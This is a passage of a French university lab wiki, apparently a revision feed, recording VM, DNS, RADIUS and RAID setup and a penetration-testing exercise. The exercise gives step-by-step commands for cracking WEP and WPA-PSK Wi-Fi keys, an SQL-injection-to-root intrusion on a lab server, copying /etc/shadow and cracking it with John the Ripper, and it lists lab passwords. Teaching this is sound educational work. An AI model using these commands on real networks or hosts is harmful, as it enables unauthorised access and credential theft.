Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Sécurisation des données (RAID 5) =&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
= Chiffrement des données =&lt;br /&gt;
&lt;br /&gt;
a&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57696</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57696"/>
				<updated>2022-01-10T15:58:52Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* Certificat */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSh ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
